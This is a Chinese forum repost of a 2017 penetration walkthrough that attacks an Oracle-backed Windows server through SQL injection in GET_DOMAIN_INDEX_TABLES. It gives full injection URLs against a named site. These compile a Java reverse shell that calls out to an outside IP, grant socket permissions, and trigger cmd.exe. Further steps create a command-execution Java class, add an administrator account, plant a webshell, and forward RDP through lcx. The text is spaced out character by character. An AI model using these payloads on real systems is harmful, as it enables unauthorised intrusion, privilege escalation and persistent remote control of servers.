设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 数据库 › [20849] 2017-08-10_利用oracle反弹SHELL拿到windows服 ...
返回列表 发新帖
查看: 0|回复: 0

[20849] 2017-08-10_利用oracle反弹SHELL拿到windows服务器

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2017-08-10_利用oracle反弹SHELL拿到windows服务器 利 用 o r a c l e 反 弹 S H E L L   拿 到 w i n d o w s 服 务 器 原 创   l e m o n   L e m o n S e c   2 0 1 7 - 0 8 - 1 0 原 理 我 还 是 要 继 续 说 一 下 的 ： 利 用 o r a c l e 注 入   反 弹 S H E L L   利 用 e x e c 创 建 j a v a 包 创 建 账 号   l c x 进 行 端 口 转 发 连 接 ， 下 面 详 解 介 绍 每 一 步 反 弹 S H E L L G E T _ D O M A I N _ I N D E X _ T A B L E S 函 数 注 入 漏 洞 影 响 版 本 : O r a c l e   8 . 1 . 7 . 4 ,   9 . 2 . 0 . 1   -   9 . 2 . 0 . 7 ,   1 0 . 1 . 0 . 2   -   1 0 . 1 . 0 . 4 ,   1 0 . 2 . 0 . 1 - 1 0 . 2 . 0 . 2 漏 洞 的 成 因 是 该 函 数 的 参 数 存 在 注 入 ， 而 该 函 数 的 所 有 者 是 s y s ， 所 以 通 过 注 入 就 可 以 执 行 任 意 s q l ， 该 函 数 的 执 行 权 限 为 p u b l i c ， 所 以 只 要 遇 到 一 个 o r a c l e 的 注 入 点 并 且 存 在 这 个 漏 洞 的 ， 基 本 上 都 可 以 提 升 到 最 高 权 限 。 创 建 J A V A 代 码 当 执 行 命 令 没 有 什 么 太 大 的 帮 助 时 ， 我 们 可 以 反 弹 一 个 交 互 式 的 s h e l l ， 这 样 会 方 便 很 多 。 例 子 ： 赋 予 J A V A 执 行 权 限 例 子 ： 创 建 函 数 例 子 ： h t t p : / / w w w . i s w i n . o r g / o r a c l e . j s p ? n a m e = '   a n d   ( s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T " . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' ' ' ' c r e a t e   o r   r e p l a c e   a n d   c o m p i l e   j a v a   s o u r c e   n a m e d   " s h e l l "   a s   i m p o r t   j a v a . i o . * ; i m p o r t   j a v a . n e t . * ; p u b l i c   c l a s s   s h e l l { p u b l i c   s t a t i c   v o i d   r u n ( )   t h r o w s   E x c e p t i o n   { S o c k e t   s   =   n e w   S o c k e t ( " 1 3 9 . 1 9 9 . 1 0 9 . 1 8 4 " ,   8 0 ) ; P r o c e s s   p   =   R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " c m d . e x e " ) ; n e w   T ( p . g e t I n p u t S t r e a m ( ) ,   s . g e t O u t p u t S t r e a m ( ) ) . s t a r t ( ) ; n e w   T ( p . g e t E r r o r S t r e a m ( ) ,   s . g e t O u t p u t S t r e a m ( ) ) . s t a r t ( ) ; n e w   T ( s . g e t I n p u t S t r e a m ( ) ,   p . g e t O u t p u t S t r e a m ( ) ) . s t a r t ( ) ; } s t a t i c   c l a s s   T   e x t e n d s   T h r e a d   { p r i v a t e   I n p u t S t r e a m   i ; p r i v a t e   O u t p u t S t r e a m   u ; p u b l i c   T ( I n p u t S t r e a m   i n ,   O u t p u t S t r e a m   o u t )   { t h i s . u   =   o u t ; t h i s . i   =   i n ; } p u b l i c   v o i d   r u n ( )   { B u f f e r e d R e a d e r   n   =   n e w   B u f f e r e d R e a d e r ( n e w   I n p u t S t r e a m R e a d e r ( i ) ) ; B u f f e r e d W r i t e r   w   =   n e w   B u f f e r e d W r i t e r ( n e w   O u t p u t S t r e a m W r i t e r ( u ) ) ; c h a r   f [ ]   =   n e w   c h a r [ 8 1 9 2 ] ; i n t   l ; t r y   { w h i l e   ( ( l   =   n . r e a d ( f ,   0 ,   f . l e n g t h ) )   >   0 )   { w . w r i t e ( f ,   0 ,   l ) ; w . f l u s h ( ) ; } }   c a t c h   ( I O E x c e p t i o n   e )   { } t r y   { i f   ( n   ! =   n u l l ) n . c l o s e ( ) ; i f   ( w   ! =   n u l l ) w . c l o s e ( ) ; }   c a t c h   ( E x c e p t i o n   e )   { } } } } ' ' ' ' ; E N D ; ' ' ; E N D ; - - ' , ' S Y S ' , 0 , ' 1 ' , 0 )   f r o m   d u a l )   i s   n o t   n u l l - - s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T " . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' ' ' ' c r e a t e   o r   r e p l a c e   a n d   c o m p i l e   j a v a   s o u r c e   n a m e d   " s h e l l "   a s   i m p o r t   j a v a . i o . * ; i m p o r t   j a v a . n e t . * ; p u b l i c   c l a s s   s h e l l { p u b l i c   s t a t i c   v o i d   r u n ( )   t h r o w s   E x c e p t i o n   { S o c k e t   s   =   n e w   S o c k e t ( " 1 3 9 . 1 9 9 . 1 0 9 . 1 8 4 " ,   8 0 ) ; P r o c e s s   p   =   R u n t i m e . g e t R u n t i m e ( ) . e x e c ( " c m d . e x e " ) ; n e w   T ( p . g e t I n p u t S t r e a m ( ) ,   s . g e t O u t p u t S t r e a m ( ) ) . s t a r t ( ) ; n e w   T ( p . g e t E r r o r S t r e a m ( ) ,   s . g e t O u t p u t S t r e a m ( ) ) . s t a r t ( ) ; n e w   T ( s . g e t I n p u t S t r e a m ( ) ,   p . g e t O u t p u t S t r e a m ( ) ) . s t a r t ( ) ; } s t a t i c   c l a s s   T   e x t e n d s   T h r e a d   { p r i v a t e   I n p u t S t r e a m   i ; p r i v a t e   O u t p u t S t r e a m   u ; p u b l i c   T ( I n p u t S t r e a m   i n ,   O u t p u t S t r e a m   o u t )   { t h i s . u   =   o u t ; t h i s . i   =   i n ; } p u b l i c   v o i d   r u n ( )   { B u f f e r e d R e a d e r   n   =   n e w   B u f f e r e d R e a d e r ( n e w   I n p u t S t r e a m R e a d e r ( i ) ) ; B u f f e r e d W r i t e r   w   =   n e w   B u f f e r e d W r i t e r ( n e w   O u t p u t S t r e a m W r i t e r ( u ) ) ; c h a r   f [ ]   =   n e w   c h a r [ 8 1 9 2 ] ; i n t   l ; t r y   { w h i l e   ( ( l   =   n . r e a d ( f ,   0 ,   f . l e n g t h ) )   >   0 )   { w . w r i t e ( f ,   0 ,   l ) ; w . f l u s h ( ) ; } }   c a t c h   ( I O E x c e p t i o n   e )   { } t r y   { i f   ( n   ! =   n u l l ) n . c l o s e ( ) ; i f   ( w   ! =   n u l l ) w . c l o s e ( ) ; }   c a t c h   ( E x c e p t i o n   e )   { } } } } ' ' ' ' ; E N D ; ' ' ; E N D ; - - ' , ' S Y S ' , 0 , ' 1 ' , 0 )   f r o m   d u a l h t t p : / / w w w . i s w i n . o r g / o r a c l e . j s p ? n a m e = '   a n d   ( s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T " . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' ' ' ' b e g i n   d b m s _ j a v a . g r a n t _ p e r m i s s i o n (   ' ' ' ' ' ' ' ' P U B L I C ' ' ' ' ' ' ' ' ,   ' ' ' ' ' ' ' ' S Y S : j a v a . n e t . S o c k e t P e r m i s s i o n ' ' ' ' ' ' ' ' ,   ' ' ' ' ' ' ' ' < > ' ' ' ' ' ' ' ' ,   ' ' ' ' ' ' ' ' * ' ' ' ' ' ' ' '   ) ; e n d ; ' ' ' ' ; E N D ; ' ' ; E N D ; - - ' , ' S Y S ' , 0 , ' 1 ' , 0 )   f r o m   d u a l )   i s   n o t   n u l l - - s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T " . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' ' ' ' b e g i n   d b m s _ j a v a . g r a n t _ p e r m i s s i o n (   ' ' ' ' ' ' ' ' P U B L I C ' ' ' ' ' ' ' ' ,   ' ' ' ' ' ' ' ' S Y S : j a v a . n e t . S o c k e t P e r m i s s i o n ' ' ' ' ' ' ' ' ,   ' ' ' ' ' ' ' ' < > ' ' ' ' ' ' ' ' ,   ' ' ' ' ' ' ' ' * ' ' ' ' ' ' ' '   ) ; e n d ; ' ' ' ' ; E N D ; ' ' ; E N D ; - - ' , ' S Y S ' , 0 , ' 1 ' , 0 )   f r o m   d u a l h t t p : / / w w w . i s w i n . o r g / o r a c l e . j s p ? n a m e = '   a n d   ( s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T "   . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' ' ' ' c r e a t e   o r   r e p l a c e   f u n c t i o n   r e v e r s e t c p   R E T U R N   V A R C H A R 2   a s   l a n g u a g e   j a v a   n a m e   ' ' ' ' ' ' ' ' s h e l l . r u n ( )   r e t u r n   S t r i n g ' ' ' ' ' ' ' ' ;   ' ' ' ' ; E N D ; ' ' ; E N D ; - - ' , ' S Y S ' , 0 , ' 1 ' , 0 )   f r o m   d u a l )   i s   n o t   n u l l - - s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T "   . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' ' ' ' c r e a t e   o r   r e p l a c e   f u n c t i o n   r e v e r s e t c p   R E T U R N   V A R C H A R 2   a s   l a n g u a g e   j a v a   n a m e   ' ' ' ' ' ' ' ' s h e l l . r u n ( )   r e t u r n   S t r i n g ' ' ' ' ' ' ' ' ;   ' ' ' ' ; E N D ; ' ' ; E N D ; - - ' , ' S Y S ' , 0 , ' 1 ' , 0 )   f r o m   d u a l
赋 予 函 数 执 行 权 限 例 子 ： 反 弹 S H E L L h t t p : / / w w w . i s w i n . o r g / o r a c l e . j s p ? n a m e = '   a n d   ( s e l e c t   s y s . r e v e r s e t c p   f r o m   d u a l )   i s   n o t   n u l l - - 例 子 ： s e l e c t   s y s . r e v e r s e t c p   f r o m   d u a l 成 功 ： 哦 哈 哈 h t t p : / / w w w . i s w i n . o r g / o r a c l e . j s p ? n a m e = '   a n d   ( s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T "   . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' ' ' ' g r a n t   a l l   o n   r e v e r s e t c p   t o   p u b l i c ' ' ' ' ; E N D ; ' ' ; E N D ; - - ' , ' S Y S ' , 0 , ' 1 ' , 0 )   f r o m   d u a l )   i s   n o t   n u l l - - s e l e c t   S Y S . D B M S _ E X P O R T _ E X T E N S I O N . G E T _ D O M A I N _ I N D E X _ T A B L E S ( ' F O O ' , ' B A R ' , ' D B M S _ O U T P U T "   . P U T ( : P 1 ) ; E X E C U T E   I M M E D I A T E   ' ' D E C L A R E   P R A G M A   A U T O N O M O U S _ T R A N S A C T I O N ; B E G I N   E X E C U T E   I M M E D I A T E   ' ' ' ' g r a n t   a l l   o n   r e v e r s e t c p   t o   p u b l i c ' ' ' ' ; E N D ; ' ' ; E N D ; - - ' , ' S Y S ' , 0 , ' 1 ' , 0 )   f r o m   d u a l
反 弹 s h e l l 成 功 后 ， 在 我 本 地 服 务 器 写 s h e l l 上 传 样 式 ： 进 入 w e b 目 录 （ 路 径 有 空 格 ， 要 用 双 引 号 ） s h e l l 已 经 写 进 去 ， 在 本 地 可 访 问 。
用 菜 刀 成 功 连 接 。 创 建 创 建 j a v a 类 ， 添 加 账 号 类 ， 添 加 账 号 1 , c r e a t e   o r   r e p l a c e   a n d   c o m p i l e   j a v a   s o u R C e   n a m e d   " u t i l "   a s i m p o r t   j a v a . i o . * ;   i m p o r t   j a v a . l a n g . * ; p u b l i c   c l a s s   u t i l   e x t e n d s   O b j e c t { p u b l i c   s t a t i c   i n t   R u n T h i s ( S t r i n g   a r g s ) { R u n t i m e   r t   =   R u n t i m e . g e t R u n t i m e ( ) ; i n t   R C   =   - 1 ; t r y { P r o c e s s   p   =   r t . e x e c ( a r g s ) ; i n t   b u f S i z e   =   4 0 9 6 ; B u f f e r e d I n p u t S t r e a m   b i s   = n e w   B u f f e r e d I n p u t S t r e a m ( p . g e t I n p u t S t r e a m ( ) ,   b u f S i z e ) ; i n t   l e n ; b y t e   b u f f e r [ ]   =   n e w   b y t e [ b u f S i z e ] ; / /   E c h o   b a c k   w h a t   t h e   p r o g r a m   s p i t   o u t w h i l e   ( ( l e n   =   b i s . r e a d ( b u f f e r , 0 , b u f S i z e ) )   ! =   - 1 ) S y s t e m . o u t . w r i t e ( b u f f e r , 0 , l e n ) ; R C   =   p . w a i t F o r ( ) ; } c a t c h   ( E x c e p t i o n   e ) { e . p r i n t S t a c k T r a c e ( ) ; R C   =   - 1 ; } f i n a l l y { r e t u r n   R C ; } } } / 2 , c r e a t e   o r   r e p l a c e f u n c t i o n   R U N _ C M z ( p _ c m d   i n   v a r c h a r 2 )   r e t u r n   n u m b e r a s l a n g u a g e   j a v a n a m e   ' u t i l . R u n T h i s ( j a v a . l a n g . S t r i n g )   r e t u r n   i n t e g e r ' ; /
3 , c r e a t e   o r   r e p l a c e   p r o c e d u r e   R C ( p _ c m d   i n   v a r C h a r ) a s x   n u m b e r ; b e g i n x   : =   R U N _ C M z ( p _ c m d ) ;   e n d ; /   4 , v a r i a b l e   x   n u m b e r ; s e t   s e r v e r o u t p u t   o n ; e x e c   d b m s _ j a v a . s e t _ o u t p u t ( 1 0 0 0 0 0 ) ; g r a n t   j a v a s y s p r i v   t o   s y s t e m ; g r a n t   j a v a u s e r p r i v   t o   s y s t e m ; e x e c   : x : = r u n _ c m z ( ' n e t 1   u s e r ' ) ; 执 行 成 功 ， 然 后 创 建 账 号 把 a a a 账 号 添 加 管 理 员 组 连 接 服 务 器 ， 失 败 。 因 为 3 3 8 9 端 口 没 有 被 映 射 出 来 只 能 使 用 l c x 进 行 端 口 转 发 连 接 。 （ 用 远 程 下 载 方 式 失 败 ， 目 录 不 可 写 ） 找 可 写 目 录 ， e 盘 找 到 可 写 目 录
直 接 在 菜 刀 上 传 l c x l c x 本 地 监 听 l c x 在 服 务 器 将 3 3 8 9 转 发 到 远 程 公 网 服 务 器 的 8 0 0 连 接 服 务 器

回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:33 , Processed in 0.493952 second(s), 32 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表